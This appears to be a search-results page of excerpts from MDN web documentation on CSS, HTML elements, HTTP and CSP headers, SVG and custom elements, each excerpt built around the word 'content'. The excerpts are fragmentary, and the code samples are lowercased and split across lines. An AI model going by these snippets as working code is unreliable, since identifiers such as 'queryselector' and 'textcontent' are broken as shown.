...top, 20px); env(safe-area-inset-right, 1em); env(safe-area-inset-bottom, 0.5vh); env(safe-area-inset-left, 1.4rem); values safe-area-inset-top, safe-area-inset-right, safe-area-inset-bottom, safe-area-inset-left the safe-area-inset-* variables are four environment variables that define a rectangle by its top, right, bottom, and left insets from the edge of the viewport, which is safe to put
content into without risking it being cut off by the shape of a non‑rectangular display.
...for non-rectangular displays — like a round watch face — the four values set by the user agent form a rectangle such that all
content inside the rectangle is visible.
flex-direction - CSS: Cascading Style Sheets
the main-start and main-end points are the same as the
content direction.
... accessibility concerns using the flex-direction property with values of row-reverse or column-reverse will create a disconnect between the visual presentation of
content and dom order.
...understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="
content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> </div> <h4>this is a row-reverse</h4> <div id="
content1"> <div class="box1" style="background-color:red;">a</div> <div class="box1" style="background-color:lightblue;">b</div> <div class="box1" style="background...
...-color:yellow;">c</div> </div> css #
content { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: column-reverse; } .box { width: 50px; height: 50px; } #
content1 { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: row-reverse; } .box1 { width: 50px; height: 50px; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-direction' in that specification.
grid-template - CSS: Cascading Style Sheets
property is a shorthand for the following css properties: grid-template-areas grid-template-columns grid-template-rows syntax /* keyword value */ grid-template: none; /* grid-template-rows / grid-template-columns values */ grid-template: 100px 1fr / 50px 1fr; grid-template: auto 1fr / auto 1fr auto; grid-template: [linename] 100px / [columnname1] 30% [columnname2] 70%; grid-template: fit-
content(100px) / fit-
content(40%); /* grid-template-areas grid-template-rows / grid-template-column values */ grid-template: "a a a" "b b b"; grid-template: "a a a" 20% "b b b" auto; grid-template: [header-top] "a a a" [header-bottom] [main-top] "b b b" 1fr [main-bottom] / auto 1fr auto; /* global values */ grid-template: in...
... formal definition initial valueas each of the properties of the shorthand:grid-template-columns: nonegrid-template-rows: nonegrid-template-areas: noneapplies togrid containersinheritednopercentagesas each of the properties of the shorthand:grid-template-columns: refer to corresponding dimension of the
content areagrid-template-rows: refer to corresponding dimension of the
content areacomputed valueas each of the properties of the shorthand:grid-template-columns: as specified, but with relative lengths converted into absolute lengthsgrid-template-rows: as specified, but with relative lengths converted into absolute lengthsgrid-template-areas: as specifiedanimation typediscrete formal syntax none | [ ...
...]+ [ / <explicit-track-list> ]?where <line-names> = '[' <custom-ident>* ']'<track-size> = <track-breadth> | minmax( <inflexible-breadth> , <track-breadth> ) | fit-
content( [ <length> | <percentage> ] )<explicit-track-list> = [ <line-names>?
... <track-size> ]+ <line-names>?where <track-breadth> = <length-percentage> | <flex> | min-
content | max-
content | auto<inflexible-breadth> = <length> | <percentage> | min-
content | max-
content | autowhere <length-percentage> = <length> | <percentage> examples defining a grid template css #page { display: grid; width: 100%; height: 200px; grid-template: [header-left] "head head" 30px [header-right] [main-left] "nav main" 1fr [main-right] [footer-left] "nav foot" 30px [footer-right] / 120px 1fr; } header { background-color: lime; grid-area: head; } nav { background-color: lightblue; grid-area: nav; } main { background-color: yellow; grid-area: main; } footer { background-color: red; grid-area: foot; } html <sec...
grid - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: grid-auto-columns grid-auto-flow grid-auto-rows grid-template-areas grid-template-columns grid-template-rows syntax /* <'grid-template'> values */ grid: none; grid: "a" 100px "b" 1fr; grid: [linename1] "a" 100px [linename2]; grid: "a" 200px "b" min-
content; grid: "a" minmax(100px, max-
content) "b" 20%; grid: 100px / 200px; grid: minmax(400px, min-
content) / repeat(auto-fill, 50px); /* <'grid-template-rows'> / [ auto-flow && dense?
...values */ grid: 200px / auto-flow; grid: 30% / auto-flow dense; grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px; grid: [line1] minmax(20em, max-
content) / auto-flow dense 40%; /* [ auto-flow && dense?
.../ <'grid-template-columns'> values */ grid: auto-flow / 200px; grid: auto-flow dense / 30%; grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px); grid: auto-flow dense 40% / [line1] minmax(20em, max-
content); /* global values */ grid: inherit; grid: initial; grid: unset; values <'grid-template'> defines the grid-template including grid-template-columns, grid-template-rows and grid-template-areas.
...lueas each of the properties of the shorthand:grid-template-rows: nonegrid-template-columns: nonegrid-template-areas: nonegrid-auto-rows: autogrid-auto-columns: autogrid-auto-flow: rowgrid-column-gap: 0grid-row-gap: 0column-gap: normalrow-gap: normalapplies togrid containersinheritednopercentagesas each of the properties of the shorthand:grid-template-rows: refer to corresponding dimension of the
content areagrid-template-columns: refer to corresponding dimension of the
content areagrid-auto-rows: refer to corresponding dimension of the
content areagrid-auto-columns: refer to corresponding dimension of the
content areacomputed valueas each of the properties of the shorthand:grid-template-rows: as specified, but with relative lengths converted into absolute lengthsgrid-template-columns: as specifi...
table-layout - CSS: Cascading Style Sheets
the widths of the table and its cells are adjusted to fit the
content.
...this can speed up rendering time over the "automatic" layout method, but subsequent cell
content might not fit in the column widths provided.
... cells use the overflow property to determine whether to clip any overflowing
content, but only if the table has a known width; otherwise, they won't overflow the cells.
...if the table layout were auto, the table would grow to accomodate its
contents, despite the specified width.
text-align-last - CSS: Cascading Style Sheets
left the inline
contents are aligned to the left edge of the line box.
... right the inline
contents are aligned to the right edge of the line box.
... center the inline
contents are centered within the line box.
...text should line up their left and right edges to the left and right
content edges of the paragraph.
url() - CSS: Cascading Style Sheets
/* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */ background-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg');
content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); offset-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fallbacks */ cursor: url(pointer.cur), pointer; /* associated short-hand properties */ background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border...
...-image: url("/media/diamonds.png") 30 fill / 30px / 30px space; /* as a parameter in another css function */ background-image: cross-fade(20% url(first.png), url(second.png)); mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* as part of a non-shorthand multiple value */
content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ...
... the url() function can be included as a value for background, background-image, list-style, list-style-image,
content, cursor, border, border-image, border-image-source, mask, mask-image, src as part of a @font-face block, and @counter-style/symbol in css level 1, the url() functional notation described only true urls.
... formal syntax url( <string> <url-modifier>* ) examples
content property html <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> css li::after {
content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif); } result data-uri html <div class="background"></div> css .background { height: 100vh; } .background { background: yellow; background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='9...
will-change - CSS: Cascading Style Sheets
/* keyword values */ will-change: auto; will-change: scroll-position; will-change:
contents; will-change: transform; /* example of <custom-ident> */ will-change: opacity; /* example of <custom-ident> */ will-change: left, top; /* example of two <animateable-feature> */ /* global values */ will-change: inherit; will-change: initial; will-change: unset; proper usage of this property can be a bit tricky: don't apply will-change to too many elements.
...
contents indicates that the author expects to animate or change something about the element’s
contents in the near future.
...it cannot be one of the following values: unset, initial, inherit, will-change, auto, scroll-position, or
contents.
... .slide { will-change: transform; } formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | <animateable-feature>#where <animateable-feature> = scroll-position |
contents | <custom-ident> examples via script this is an example showing how to apply the will-change property through scripting, which is probably what you should be doing in most cases.
Adding captions and subtitles to HTML5 video - Developer guides
for this article we will refer to the text tracks displayed as subtitles, as their
content is aimed at hearing people who have difficulty understanding the language of the film, rather than deaf or hard-of-hearing people.
...the various attributes of this element allow us to specify such things as the type of
content that we're adding, the language it's in, and of course a reference to the text file that contains the actual subtitle information.
...sh" kind="subtitles" srclang="en" src="captions/vtt/sintel-en.vtt" default> <track label="deutsch" kind="subtitles" srclang="de" src="captions/vtt/sintel-de.vtt"> <track label="español" kind="subtitles" srclang="es" src="captions/vtt/sintel-es.vtt"> </video> as you can see, each <track> element has the following attributes set: kind is given a value of subtitles, indicating the type of
content the files contain label is given a value indicating which language that subtitle set is for — for example english or deutsch — these labels will appear in the user interface to allow the user to easily select which subtitle language they want to see.
... srclang indicates what language each subtitle files'
contents are in.
Mobile-friendliness - Developer guides
it can be helpful to think of it in terms of three goals for improving your site’s user experience: presentation,
content, and performance.
...that’s why this first goal is all about presenting your
content in a way that makes life easy for users on mobile device.
... goal #2 (
content) “adjust your
content for mobile users.” think about what your users want to do at your site if they are on a phone.
...they’ve adjusted their site’s
content to reflect this, and it meets the needs of mobile users.
Parsing and serializing XML - Developer guides
at times, you may need to parse xml
content and convert it into a dom tree, or, conversely, serialize an existing dom tree into xml.
... xmlhttprequest loads
content from a url; xml
content is returned as an xml document object with a dom tree built from the xml itself.
... use the following approaches to serialize the
contents of the xml document you created in the previous section.
... var dochtml = document.documentelement.innerhtml; as a result, dochtml is a domstring containing the html of the
contents of the document; that is, the <body> element's
contents.
Developer guides
html learning area hypertext markup language (html) is the core language of nearly all web
content.
...the html specification recommends the use of the utf-8 encoding (which can represent all of unicode), and regardless of the encoding used requires web
content to declare that encoding.
... optimization and performance when building modern web apps and sites, it's important to make your
content work quickly and efficiently.
...this guide covers the algorithm in general and how it applies to
content you create—especially when you build properly localized and internationalized
content.
HTML attribute: pattern - HTML: Hypertext Markup Language
user agents may use the title
contents during constraint validation to tell the user that the pattern is not matched.
... some browsers show a tooltip with title
contents, improving usability for sighted users.
...[a-z]{4,8}" title="4 to 8 lowercase letters"> <span class="validity"></span> <p>usernames must be lowercase and 4-8 characters in length.</p> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; position: relative; } p { font-size: 80%; color: #999; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute;
content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute;
content: '✓'; padding-left: 5px; } this renders like so: accessibility concerns when a control has a pattern attribute, the title attribute, if used, must describe the pattern.
... relying on the title attribute for the visual display of text
content is generally discouraged as many user agents do not expose the attribute in an accessible manner.
HTML attribute: rel - HTML: Hypertext Markup Language
external resource not allowed not allowed license indicates that the main
content of the current document is covered by the copyright license described by the referenced document.
... with the type attribute, it indicates that the referenced document is the same
content in a different format.
... help relevant to <form>, <link>, <a>, and <area>, the help keyword indicates that the linked to
content provides context-sensitive help, providing information for the parent of the element defining the hyperlink, and its children.
... license valid on the <a>, <area>, <form>, <link> elements, the license value indicates that the hyperlink leads to a document describing the licensing information; that the main
content of the current document is covered by the copyright license described by the referenced document.
<address>: The Contact Address element - HTML: Hypertext Markup Language
the contact information provided by an <address> element's
contents can take whatever form is appropriate for the context, and may include any type of contact information that is needed, such as a physical address, url, email address, phone number, social media handle, geographic coordinates, and so forth.
...
content categories flow
content, palpable
content.
... permitted
content flow
content, but with no nested <address> element, no heading
content (<hgroup>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>), no sectioning
content (<article>, <aside>, <section>, <nav>), and no <header> or <footer> element.
... permitted parents any element that accepts flow
content, but always excluding <address> elements (according to the logical principle of symmetry, if <address> tag, as a parent, can not have nested <address> element, then the same <address>
content can not have <address> tag as its parent).
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
the html bring attention to element (<b>) is used to draw the reader's attention to the element's
contents, which are not otherwise granted special importance.
...
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
...this means that unless you specify a value of either rtl or ltr for dir, the user agent will determine the correct directionality to use based on the
contents of the <bdi>.
<body>: The Document Body element - HTML: Hypertext Markup Language
the html <body> element represents the
content of an html document.
...
content categories sectioning root.
... permitted
content flow
content.
...the end tag may be omitted if the <body> element has
contents or has a start tag, and is not immediately followed by a comment.
<br>: The Line Break element - HTML: Hypertext Markup Language
screen readers may announce the presence of the element, but not any
content contained within <br>s.
... technical summary
content categories flow
content, phrasing
content.
... permitted
content none, it is an empty element.
... permitted parents any element that accepts phrasing
content.
<cite>: The Citation element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
... typically, browsers style the
contents of a <cite> element in italics by default.
<hgroup> - HTML: Hypertext Markup Language
content categories flow
content, heading
content, palpable
content.
... permitted
content one or more <h1>, <h2>, <h3>, <h4>, <h5>, and/or <h6>.
... permitted parents any element that accepts flow
content.
...an <hgroup> might be shown in a rendered outline in with the primary heading followed by parentheses around the secondary heading(s) consider the following html document: <!doctype html> <title>html standard</title> <body> <hgroup id="document-title"> <h1>html</h1> <h2>living standard — last updated 12 august 2016</h2> </hgroup> <p>some intro to the document.</p> <h2>table of
contents</h2> <ol id=toc>...</ol> <h2>first section</h2> <p>some intro to the first section.</p> </body> a rendered outline for that document might look like the following: that is, the rendered outline might show the primary title, html, followed by a colon and space, followed by the secondary title, living standard — last updated 12 august 2016.
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
...a browser will typically still display the
contents of the <i> element in italic type, but is, by definition, no longer required to do so.
<input type="button"> - HTML: Hypertext Markup Language
a simple button we'll begin by creating a simple button with a click event handler that starts our machine (well, it toggles the value of the button and the text
content of the following paragraph): <form> <input type="button" value="start machine"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (button.value === 'start machine') { button.value = 'stop machine'; paragraph.text
content = ...
...'the machine has started!'; } else { button.value = 'start machine'; paragraph.text
content = 'the machine is stopped.'; } } the script gets a reference to the htmlinputelement object representing the <input> in the dom, saving this refence in the variable button.
... <form> <input type="button" value="start machine" accesskey="s"> </form> <p>the machine is stopped.</p> const button = document.queryselector('input'); const paragraph = document.queryselector('p'); button.addeventlistener('click', updatebutton); function updatebutton() { if (button.value === 'start machine') { button.value = 'stop machine'; paragraph.text
content = 'the machine has started!'; } else { button.value = 'start machine'; paragraph.text
content = 'the machine is stopped.'; } } note: the problem with the above example of course is that the user will not know what the access key is!
...ocument.queryselector('input[type="color"]'); var sizepicker = document.queryselector('input[type="range"]'); var output = document.queryselector('.output'); var clearbtn = document.queryselector('input[type="button"]'); // covert degrees to radians function degtorad(degrees) { return degrees * math.pi / 180; }; // update sizepicker output value sizepicker.oninput = function() { output.text
content = sizepicker.value; } // store mouse pointer coordinates, and whether the button is pressed var curx; var cury; var pressed = false; // update mouse pointer coordinates document.onmousemove = function(e) { curx = (window.event) ?
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
by convention, the user agent defaults to rendering the
contents of a <kbd> element using its default monospace font, although this is not mandated by the html standard.
...
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
<label> - HTML: Hypertext Markup Language
examples simple label example <label>click me <input type="text"></label> using the "for" attribute <label for="username">click me</label> <input type="text" id="username"> accessibility concerns interactive
content don't place interactive elements such as anchors or buttons inside a label.
... technical summary
content categories flow
content, phrasing
content, interactive
content, form-associated element, palpable
content.
... permitted
content phrasing
content, but no descendant label elements.
... permitted parents any element that accepts phrasing
content.
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
example the user enters four section headings into the table of
contents (and presumably also writing paragraph material within these sections).
...the first of these would produce an entry in the table of
contents like this: <a name="z0" href="#z4">first section name</a> and the section header would be marked like this: <h2><a name="z4">first section name</a></h2>.
... this continues for the next three sections, z5, z6, and z7 (and table of
contents entries named z1, z2, and z3), each automatically given anchors with these names.
...when opening the document, the next editor finds and reads this <nextid n="z8"> tag, and now knows to give the first of these new sections the name of z8 in the table of
contents, and z14 to the
content body.
<noembed>: The Embed Fallback element (Obsolete) - HTML: Hypertext Markup Language
the <noembed> element is an obsolete, non-standard way to provide alternative, or "fallback",
content for browsers that do not support the <embed> element or do not support the type of embedded
content an author wishes to use.
... this element was deprecated in html 4.01 and above in favor of placing fallback
content between the opening and closing tags of an <object> element.
...use <object> instead, with fallback
content between the opening and closing tags of the element.
... show an alternative
content <embed type="vide/webm" src="/media/examples/flower.mp4" width="200" height="200"> <noembed> <h1>alternative
content</h1> </noembed> </embed> ...
<output>: The Output element - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, listed, labelable, resettable form-associated element, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
... the <output> value, name, and
contents are not submitted during form submission.
<samp>: The Sample Output element - HTML: Hypertext Markup Language
its
contents are typically rendered using the browser's default monospaced font (such as courier or lucida console).
...
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
<span> - HTML: Hypertext Markup Language
the html <span> element is a generic inline container for phrasing
content, which does not inherently represent anything.
...
content categories flow
content, phrasing
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content, or any element that accepts flow
content.
<thead>: The Table Head element - HTML: Hypertext Markup Language
content categories none.
... permitted
content zero or more <tr> elements.
... deprecated attributes align in html 4, in html5 this enumerated attribute specifies how horizontal alignment of each cell
content will be handled.
... possible values are: left, aligning the
content to the left of the cell center, centering the
content in the cell right, aligning the
content to the right of the cell justify, inserting spaces into the textual
content so that the
content is justified in the cell char, aligning the textual
content on a special character with a minimal offset, defined by the char and charoff attributes unimplemented (see bug 2212).
<time> - HTML: Hypertext Markup Language
content categories flow
content, phrasing
content, palpable
content.
... permitted
content phrasing
content.
... permitted parents any element that accepts phrasing
content.
...if the element does not have a datetime attribute, it must not have any element descendants, and the datetime value is the element’s child text
content.
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
content categories none permitted
content none, it is an empty element.
...the following keywords are allowed: subtitles subtitles provide translation of
content that cannot be understood by the viewer.
... subtitles may contain additional
content, usually extra background information.
... descriptions textual description of the video
content.
Using the application cache - HTML: Hypertext Markup Language
on linux, you can find the setting at edit > preferences > advanced > network > offline web
content and user data see also clearing the dom storage data.
...if you change a cached resource (for example, you update the header.png image with new
content), you must also change the
content of the manifest file in order to let browsers know that they need to refresh the cache.
... example 2: a more complete cache manifest file the following is a more complete cache manifest file for the imaginary web site at www.example.com: cache manifest # v1 2011-08-14 # this is another comment index.html cache.html style.css image1.png # use from network if available network: network.html # fallback
content fallback: .
...for example, let's say the cache manifest file http://www.example.com/example.appcache includes the following
content: cache manifest fallback: example/bar/ example.html any request to http://www.example.com/example/bar/ or any of its subdirectories and their
content cause the browser to issue a network request to attempt to load the requested resource.
Compression in HTTP - HTTP
to select the algorithm to use, browsers and servers use proactive
content negotiation.
... the browser sends an accept-encoding header with the algorithm it supports and its order of precedence, the server picks one, uses it to compress the body of the response and uses the
content-encoding header to tell the browser the algorithm it has chosen.
... as
content negotiation has been used to choose a representation based on its encoding, the server must send a vary header containing at least accept-encoding alongside this header in the response; that way, caches will be able to cache the different representations of the resource.
... to do this, http uses a mechanism similar to the
content negotiation for end-to-end compression: the node transmitting the request advertizes its will using the te header and the other node chooses the adequate method, applies it, and indicates its choice with the transfer-encoding header.
HTTP conditional requests - HTTP
such requests can be useful to validate the
content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server.
... weak validation is used when the user-agent only needs to determine if the two resources have the same
content.
... weak validation weak validation differs from strong validation, as it considers two versions of the document as identical if the
content is equivalent.
...if it fails, the range request fails, and instead of a 206 partial
content response, a 200 ok is sent with the complete resource.
Feature Policy - HTTP
it is similar to
content security policy but controls features instead of security behavior.
...this allows you to lock in best practices, even as the codebase evolves over time — as well as to more safely compose third-party
content — by limiting which features are available.
...the header controls features in the response and any embedded
content within the page.
...to avoid breaking existing web
content, the default for such policy-controlled features is to allow the functionality to be used by all origins.
CSP: plugin-types - HTTP
the http
content-security-policy (csp) plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.
... syntax one or more mime types can be set for the plugin-types policy:
content-security-policy: plugin-types <type>/<subtype>;
content-security-policy: plugin-types <type>/<subtype> <type>/<subtype>; <type>/<subtype> a valid mime type.
... <meta http-equiv="
content-security-policy"
content="object-src 'none'"> allowing flash
content the
content security policy
content-security-policy: plugin-types application/x-shockwave-flash will allow to load flash objects: <object data="https://example.com/flash" type="application/x-shockwave-flash"></object> allowing java applets to load an <applet> you must specify application/x-java-applet:
content-security-policy: plugin-types application/x-java-applet specifications specification status comment
content security policy level 3t...
...
content security policy level 2the definition of 'plugin-types' in that specification.
CSP: report-to - HTTP
the
content-security-policy report-to http response header field instructs the user agent to store reporting endpoints for an origin.
...
content-security-policy: ...; report-to groupname the directive has no effect in and of itself, but only gains meaning in combination with other directives.
... syntax
content-security-policy: report-to <json-field-value>; examples see
content-security-policy-report-only for more information and examples.
... report-to: { "group": "csp-endpoint", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/csp-reports" } ] }, { "group": "hpkp-endpoint", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/hpkp-reports" } ] }
content-security-policy: ...; report-to csp-endpoint report-to: { "group": "endpoint-1", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/reports" }, { "url": "https://backup.com/reports" } ] }
content-security-policy: ...; report-to endpoint-1 ...
CSP: upgrade-insecure-requests - HTTP
the http
content-security-policy (csp) upgrade-insecure-requests directive instructs user agents to treat all of a site's insecure urls (those served over http) as though they have been replaced with secure urls (those served over https).
... the upgrade-insecure-requests directive is evaluated before block-all-mixed-
content and if it is set, the latter is effectively a no-op.
... syntax
content-security-policy: upgrade-insecure-requests; examples // header
content-security-policy: upgrade-insecure-requests; // meta tag <meta http-equiv="
content-security-policy"
content="upgrade-insecure-requests"> with the above header set on a domain example.com that wants to migrate from http to https, non-navigational insecure resource requests are automatically upgraded (first-party as well as ...
... <img src="https://example.com/image.png"> <img src="https://not-example.com/image.png"> navigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded: <a href="https://example.com/">home</a> <a href="http://not-example.com/">home</a> finding insecure requests with the help of the
content-security-policy-report-only header and the report-uri directive, you can set-up an enforced policy and a reported policy like this:
content-security-policy: upgrade-insecure-requests; default-src https:
content-security-policy-report-only: default-src https:; report-uri /endpoint that way, you still upgrade insecure requests on your secure site, but the only monitoring policy is violated and re...
ETag - HTTP
it lets caches be more efficient and save bandwidth, as a web server does not need to resend a full response if the
content has not changed.
...often, a hash of the
content, a hash of the last modification timestamp, or just a revision number is used.
... for example, mdn uses a hexadecimal hash of the wiki article
content.
... for example, when editing mdn, the current wiki
content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
Feature-Policy - HTTP
the http feature-policy header provides a mechanism to allow and deny the use of browser features in its own frame, and in
content within any <iframe> elements in the document.
... display-capture controls whether or not the current document is permitted to use the getdisplaymedia() method to capture screen
contents.
... when this policy is disabled, the promise returned by getdisplaymedia() will reject with a notallowederror if permission is not obtained to capture the display's
contents.
... web-share controls whether or not the current document is allowed to use the navigator.share() of web share api to share text, links, images, and other
content to arbitrary destiations of user's choice, e.g.
X-Frame-Options - HTTP
sites can use this to avoid click-jacking attacks, by ensuring that their
content is not embedded into other sites.
... note: the
content-security-policy http header has a frame-ancestors directive which obsoletes this header for supporting browsers.
...the
content-security-policy http header has a frame-ancestors directive which you can use instead.
...for instance, <meta http-equiv="x-frame-options"
content="deny"> has no effect.
Link prefetching FAQ - HTTP
starting in gecko 1.9.1 (firefox 3.5), https
content can be prefetched.
...doing so would probably help
content providers avoid the problem of stale prefetching links.
...this header is typically generated by webservers when serving up static
content.
...for this reason, link prefetching may not be appropriate for all
content.
MathML attribute reference - MathML
lquote <ms> the opening quote character (depends on dir) to enclose the
content.
... mathsize <mi>, <mn>, <mo>, <ms>, <mtext> the size of the
content.
... rquote <ms> the closing quote mark (depends on dir) to enclose the
content.
... voffset <mpadded> sets the vertical position of the child
content.
<ms> - MathML
the
content of an <ms> element is not an ascii string per se, but rather a sequence of characters and <mglyph> and <malignmark> elements.
... lquote the opening quote character (depends on dir) to enclose the
content.
... mathsize the size of the
content.
...k ; example bold-fraktur ; example script ; example bold-script ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; مثال tailed ; مثال looped ; مثال stretched ; مثال rquote the closing quote mark (depends on dir) to enclose the
content.
Responsive Navigation Patterns - Progressive web apps (PWAs)
therefore, it is necessary to consider the presentation of
content and ease of navigation for all screen sizes.
... pros: one button in header maximizes space for
content on a small screen important items stay visiblein most screen sizes and you decide the item priorities legibility of navigation items is maintained with adequate spacing, by automatically hiding items that don't fit cons: navigation items might be less discoverable because some items are hidden in the drop-down or toggle menu users may not notice the button contains a navigation menu ...
...expandable menu is easy to discover important items are always visible and you decide the item priorities legibility of navigation items is maintained with adequate spacing, by automatically hiding items that don't fit cons: one more step is needed to access the navigation items that are hidden navigation items might be less discoverable because some items are hidden less space for
content in the smallest screen size pattern 3: left hidden menu the main navigation is always on the left except in the smallest screen size, where the navigation menu is hidden in a button by default.
... pros: potentially displays more navigation items in a left navigation compared to a top navigation most items are always visible except in the smallest screen size one button in header maximizes space for
content on a small screen cons: navigation items might be less discoverable because some items are hidden in the drop-down or toggle menu users may not notice the button contains a navigation menu in the smallest screen size one more step is needed to access the navigation items that are hidden ...
Web technology reference
html — structuring the web hypertext markup language is used to define and describe semantically the
content (markup) of a web page in a well-structured format.
...some introduce
content into the page directly, others provide information about document text and may include other tags as sub-elements.
... obviously, browsers do not display them, since they are used to interpret the
content of the page.
... introduction to html | learn html | html5 | developer guide | element reference | reference css — styling the web cascading style sheets are used to describe the appearance of web
content.
SVG Presentation Attributes - SVG: Scalable Vector Graphics
value: auto|baseline|before-edge|text-before-edge|middle|central|after-edge|text-after-edge|ideographic|alphabetic|hanging|mathematical|inherit; animatable: yes baseline-shift it allows repositioning of the dominant-baseline relative to the dominant-baseline of the parent text
content element.
... value: see css display; animatable: yes dominant-baseline it defines the baseline used to align the box’s text and inline-level
contents.
... value: <paint>; animatable: yes fill-opacity it specifies the opacity of the color or the
content the current object is filled with.
... value: <opacity-value>; animatable: yes overflow specifies whether the
content of a block-level element is clipped when it overflows the element's box.
<svg> - SVG: Scalable Vector Graphics
value type: <string> ; default value: none; animatable: no
contentscripttype deprecated since svg 2 the default scripting language used by the svg fragment.
... value type: <string> ; default value: application/ecmascript; animatable: no
contentstyletype deprecated since svg 2 the default style sheet language used by the svg fragment.
...; default value: xmidymid meet; animatable: yes version deprecated since svg 2 which version of svg is used for the inner
content of the element.
...a-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriescontainer element, structural elementpermitted
contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status comment ...
Securing your site - Web security
content security properly configuring server mime types there are several ways incorrect mime types can cause potential security problems with your site.
... http access control the cross-origin resource sharing standard provides a way to specify what
content may be loaded from other domains.
...
content security policy an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
...sites can use this to avoid clickjacking attacks, by ensuring that their
content is not embedded into other sites.
Tutorials
these resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that provide or allow translations, through an open
content license such as creative commons.
...how do i make my
content show up in such-and-such a place on the screen?
... css first steps css (cascading style sheets) is used to style and lay out web pages — for example, to alter the font, color, size, and spacing of your
content, split it into multiple columns, or add animations and other decorative features.
... intermediate level css layout at this point we've already looked at css fundamentals, how to style text, and how to style and manipulate the boxes that your
content sits inside.
Using custom elements - Web Components
this.getattribute('img') : 'img/default.png'; const info = wrapper.appendchild(document.createelement('span')); info.setattribute('class','info'); // take attribute
content and put it inside the info span info.text
content = this.getattribute('data-text'); // create some css to apply to the shadow dom const style = document.createelement('style'); style.text
content = '.wrapper {' + // css truncated for brevity // attach the created elements to the shadow dom this.shadowroot.append(style,wrapper); finally, we register our custom element on the customelementregist...
...esheet example (see the source code): // apply external styles to the shadow dom const linkelem = document.createelement('link'); linkelem.setattribute('rel', 'stylesheet'); linkelem.setattribute('href', 'style.css'); // attach the created element to the shadow dom shadow.appendchild(linkelem); note that <link> elements do not block paint of the shadow root, so there may be a flash of unstyled
content (fouc) while the stylesheet loads.
...this will happen each time the node is moved, and may happen before the element's
contents have been fully parsed.
... function updatestyle(elem) { const shadow = elem.shadowroot; shadow.queryselector('style').text
